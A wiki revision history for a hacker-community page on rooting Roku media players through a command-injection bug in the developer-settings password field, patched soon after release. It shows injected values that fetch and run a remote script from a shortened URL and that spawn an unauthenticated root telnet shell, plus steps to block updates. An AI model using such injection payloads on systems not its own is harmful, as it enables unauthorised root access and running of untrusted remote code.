Exploiting Roku - Revision history

Zenofex at 09:58, 31 December 2014

2014-12-31T09:58:27Z

← Older revision		Revision as of 09:58, 31 December 2014
Line 87:		Line 87:
	== Contact ==		== Contact ==

	You can contact us on IRC ( Freenode #~~GTVHacker~~ ) or on twitter @~~GTVHacker~~		You can contact us on IRC ( Freenode #Exploiteers ) or on twitter @Exploiteers

Zenofex: /* Affected versions */

2014-03-16T00:37:26Z

Affected versions

← Older revision		Revision as of 00:37, 16 March 2014
Line 5:		Line 5:
	This page will be dedicated to exploiting the Roku Media Player series.		This page will be dedicated to exploiting the Roku Media Player series.

	== Affected ~~versions~~ ==		== Affected Versions ==
	As of version 3063 this bug no longer works. We released this attack on a Saturday during the US New Year holiday weekend and it was patched the following day by an OTA update. The bug was introduced into Roku code two months prior to our finding it meaning that affected versions in the wild are scarce.		As of version 3063 this bug no longer works. We released this attack on a Saturday during the US New Year holiday weekend and it was patched the following day by an OTA update. The bug was introduced into Roku code two months prior to our finding it meaning that affected versions in the wild are scarce.

Zenofex: /* AFFECTED VERSIONS: */

2014-03-16T00:36:49Z

AFFECTED VERSIONS:

← Older revision		Revision as of 00:36, 16 March 2014
Line 5:		Line 5:
	This page will be dedicated to exploiting the Roku Media Player series.		This page will be dedicated to exploiting the Roku Media Player series.

	== ~~AFFECTED VERSIONS:~~ ==		== Affected versions ==
	As of version 3063 this bug no longer works. We released this attack on a Saturday during the US New Year holiday weekend and it was patched the following day by an OTA update. The bug was introduced into Roku code two months prior to our finding it meaning that affected versions in the wild are scarce.		As of version 3063 this bug no longer works. We released this attack on a Saturday during the US New Year holiday weekend and it was patched the following day by an OTA update. The bug was introduced into Roku code two months prior to our finding it meaning that affected versions in the wild are scarce.

	== Rooting Your Roku ==		== Rooting Your Roku ==

Zenofex at 00:36, 16 March 2014

2014-03-16T00:36:08Z

← Older revision		Revision as of 00:36, 16 March 2014
Line 4:		Line 4:
	[[Category:Roku]]		[[Category:Roku]]
	This page will be dedicated to exploiting the Roku Media Player series.		This page will be dedicated to exploiting the Roku Media Player series.

			== AFFECTED VERSIONS: ==
			As of version 3063 this bug no longer works. We released this attack on a Saturday during the US New Year holiday weekend and it was patched the following day by an OTA update. The bug was introduced into Roku code two months prior to our finding it meaning that affected versions in the wild are scarce.

	== Rooting Your Roku ==		== Rooting Your Roku ==

Zenofex: /* Other */

2013-12-28T22:42:01Z

Other

← Older revision		Revision as of 22:42, 28 December 2013
Line 80:		Line 80:
	== Other ==		== Other ==

	* This root method unfortunately does not affect the NowTV devices. This featured was added to the ~~roku~~ ecosystem from a security update made in October. We do not know if NowTV had planned on introducing a similar update but we are confident if they do it wont be vulnerable.		* This root method unfortunately does not affect the NowTV devices. This featured was added to the Roku ecosystem from a security update made in October. We do not know if NowTV had planned on introducing a similar update but we are confident if they do it wont be vulnerable.

	== Contact ==		== Contact ==

	You can contact us on IRC ( Freenode #GTVHacker ) or on twitter @GTVHacker		You can contact us on IRC ( Freenode #GTVHacker ) or on twitter @GTVHacker

Zenofex at 22:41, 28 December 2013

2013-12-28T22:41:19Z

← Older revision		Revision as of 22:41, 28 December 2013
Line 28:		Line 28:

	If your device is not listed above you may be still able to root your device, the following method however is not persistant and does not disable automatic updates.		If your device is not listed above you may be still able to root your device, the following method however is not persistant and does not disable automatic updates.

			*THIS DOES NOT WORK ON NowTV devices (Check "Other" section of this page for details)

	== Root Process ==		== Root Process ==
Line 62:		Line 64:

	*CAUTION: If your device is not vulnerable to the persistent root method then you will need to re-root your box on each boot and your box will still accept updates. This means that the next official update which rolls out will patch your device unless blocked; see the next section.		*CAUTION: If your device is not vulnerable to the persistent root method then you will need to re-root your box on each boot and your box will still accept updates. This means that the next official update which rolls out will patch your device unless blocked; see the next section.

			== Video ==
			Below is a video of the persistent method being performed on a Roku2
			* [[http://www.youtube.com/watch?v=Fck44UP-HHA Video]]

	== Troubleshooting ==		== Troubleshooting ==
Line 74:		Line 80:
	== Other ==		== Other ==

	* ~~We have reason to believe that~~ the NowTV ~~boxes are impacted the same as the Roku BCM2835~~ devices by the ~~bugs however due to us being~~ in ~~the states we~~ do not ~~have access to~~ NowTV ~~devices. We accept donations of hardware as well as network access to devices (~~if ~~you are willing to DMZ a telnet root shell for one of us to audit the device from)~~.		* This root method unfortunately does not affect the NowTV devices. This featured was added to the roku ecosystem from a security update made in October. We do not know if NowTV had planned on introducing a similar update but we are confident if they do it wont be vulnerable.

	== Contact ==		== Contact ==

	You can contact us on IRC ( Freenode #GTVHacker ) or on twitter @GTVHacker		You can contact us on IRC ( Freenode #GTVHacker ) or on twitter @GTVHacker

Zenofex: /* Root Process */

2013-12-28T21:52:18Z

Root Process

← Older revision		Revision as of 21:52, 28 December 2013
Line 45:		Line 45:
	The below command will only work on a limited series of devices and should be used with caution.		The below command will only work on a limited series of devices and should be used with caution.

	CASE SENSITIVE!		*CASE SENSITIVE!

	<code>;wget -O/tmp/x.sh http://is.gd/awL4oN;sh /*/x.sh;</code>		<code>;wget -O/tmp/x.sh http://is.gd/awL4oN;sh /*/x.sh;</code>

	CASE SENSITIVE!		*CASE SENSITIVE!

	Following entering the above password click "Set Password" ONCE when the process is comlete your box will either reboot (if succesful) or will drop you back at the main menu. If the process fails logs can be found at /nvram/gtvhacker.log and can be collected by telneting to the device.		Following entering the above password click "Set Password" ONCE when the process is comlete your box will either reboot (if succesful) or will drop you back at the main menu. If the process fails logs can be found at /nvram/gtvhacker.log and can be collected by telneting to the device.
Line 61:		Line 61:
	After entering the above command you can telnet to your Roku for root access.		After entering the above command you can telnet to your Roku for root access.

	CAUTION: If your device is not vulnerable to the persistent root method then you will need to re-root your box on each boot and your box will still accept updates. This means that the next official update which rolls out will patch your device unless blocked; see the next section.		*CAUTION: If your device is not vulnerable to the persistent root method then you will need to re-root your box on each boot and your box will still accept updates. This means that the next official update which rolls out will patch your device unless blocked; see the next section.

	== Troubleshooting ==		== Troubleshooting ==

Zenofex: /* Root Process */

2013-12-28T21:48:23Z

Root Process

← Older revision		Revision as of 21:48, 28 December 2013
Line 34:		Line 34:
	#:(H = Home, U = Up, R = RIght, L = Left)		#:(H = Home, U = Up, R = RIght, L = Left)
	#:You should be presented with the following screen:		#:You should be presented with the following screen:
	#:~~<INSERT PICTURE LINK HERE>~~		#:[[File:Dev.jpg\|400px]]
	#:		#:
	# (If this is your first time entering a developer password proceed, if not go on to step 5). After the "Developer Settings" secret screen is displayed, choose reset password.		# (If this is your first time entering a developer password proceed, if not go on to step 5). After the "Developer Settings" secret screen is displayed, choose reset password.

Zenofex: Created page with "FORCETOC {{Disclaimer}} thumb Category:Roku This page will be dedicated to exploiting the Roku Media Player series. == Rooting You..."

2013-12-28T21:40:52Z

Created page with "__FORCETOC__ {{Disclaimer}} 200px|left|thumb Category:Roku This page will be dedicated to exploiting the Roku Media Player series. == Rooting You..."

New page

__FORCETOC__
{{Disclaimer}}
[[File:Roku-rooted.jpg|200px|left|thumb]]
[[Category:Roku]]
This page will be dedicated to exploiting the Roku Media Player series.

== Rooting Your Roku ==
Roku recently introduced vulnerability within the Roku OS which allows a user to execute commands as a root user. Hilariously enough, this vulnerability came to light through a "security improvement" in the OS. This allows all Roku devices which are using update #### to obtain root. Although the full extent of the exploit is limited on certain ROKU devices due to the heavily fortified enviroment, we have found a bypass on the entire generation of BCM2835 (Same SOC as the Raspberry PI) Roku's which allows for the following perks:

* Telnet root shell spawned on boot.
* Loading unsigned images
* Booting from SDCard (VideoCore 4 and SD load with UBoot)
* Disable Automatic Updates
* Fix kernel console baudrate
* Enable U-Boot shell

With the end goal in the process being either assiting in or porting a fully functional build of XBMC.

== Root Pre-process ==
''' Verifying your Roku device is vulnerable.'''

* If you have one of the following devices you are able to perform the persistant root:
* Roku LT (2400)
* Roku 2 HD (3000)
* Roku 2 XD (3050)
* Roku 2 XS (3100)
* Roku Streaming Stick (3400, 3420)

If your device is not listed above you may be still able to root your device, the following method however is not persistant and does not disable automatic updates.

== Root Process ==
# After verifying you are vulnerable in the Root Pre-process section, the first step involves entering the "Developer Settings" secret screen by enter the following konami like key sequence in your remote.
#:<code> H - H - H - U - U - R - L - R - L - R </code>
#:(H = Home, U = Up, R = RIght, L = Left)
#:You should be presented with the following screen:
#:<INSERT PICTURE LINK HERE>
#:
# (If this is your first time entering a developer password proceed, if not go on to step 5). After the "Developer Settings" secret screen is displayed, choose reset password.
# The first time setting up your password the box does an automatic reset, when performing the hack if you are spawning a telnet shell this can be a problem. So we recommend entering in a knowingly incorrect but short text as the password on our first attempt. Enter any letter and click "Set Password"
# The box will now reboot, when it comes back up enter the Developer Settings code again. When the developer screen is displayed, choose "reset password".
# This is where things start to get tricky. If you are on a "Persistant Root Device" enter in the following into the password box.

''' Persistant Method'''

The below command will only work on a limited series of devices and should be used with caution.

CASE SENSITIVE!

<code>;wget -O/tmp/x.sh http://is.gd/awL4oN;sh /*/x.sh;</code>

CASE SENSITIVE!

Following entering the above password click "Set Password" ONCE when the process is comlete your box will either reboot (if succesful) or will drop you back at the main menu. If the process fails logs can be found at /nvram/gtvhacker.log and can be collected by telneting to the device.

'''All Other Vulnerable Devices'''

This command spawns a root shell on port 23.

<code>;telnetd -l loginsh;</code>

After entering the above command you can telnet to your Roku for root access.

CAUTION: If your device is not vulnerable to the persistent root method then you will need to re-root your box on each boot and your box will still accept updates. This means that the next official update which rolls out will patch your device unless blocked; see the next section.

== Troubleshooting ==

* If your device is stuck at the Roku animation screen wait 5 minutes, if it is still stuck restart the device by detaching and re-attaching the power cable. On failure this will revert the Roku to its stock firmware.

* If you are on a device that is not affected by the persistant root method, dont fret. We are constantly working on ways to improve the hack. We also welcome others in helping.

* If you wish to manually block updates point the dns entries for the following domains to 127.0.0.1
<code> austin.sw.roku.com and giga.sw.roku.com</code>

== Other ==

* We have reason to believe that the NowTV boxes are impacted the same as the Roku BCM2835 devices by the bugs however due to us being in the states we do not have access to NowTV devices. We accept donations of hardware as well as network access to devices (if you are willing to DMZ a telnet root shell for one of us to audit the device from).

== Contact ==

You can contact us on IRC ( Freenode #GTVHacker ) or on twitter @GTVHacker

Exploiting Roku - Revision history

Zenofex at 09:58, 31 December 2014

Zenofex: /* Affected versions */

Zenofex: /* AFFECTED VERSIONS: */

Zenofex at 00:36, 16 March 2014

Zenofex: /* Other */

Zenofex at 22:41, 28 December 2013

Zenofex: /* Root Process */

Zenofex: /* Root Process */

Zenofex: Created page with "__FORCETOC__ {{Disclaimer}} thumb Category:Roku This page will be dedicated to exploiting the Roku Media Player series. == Rooting You..."

Zenofex: Created page with "FORCETOC {{Disclaimer}} thumb Category:Roku This page will be dedicated to exploiting the Roku Media Player series. == Rooting You..."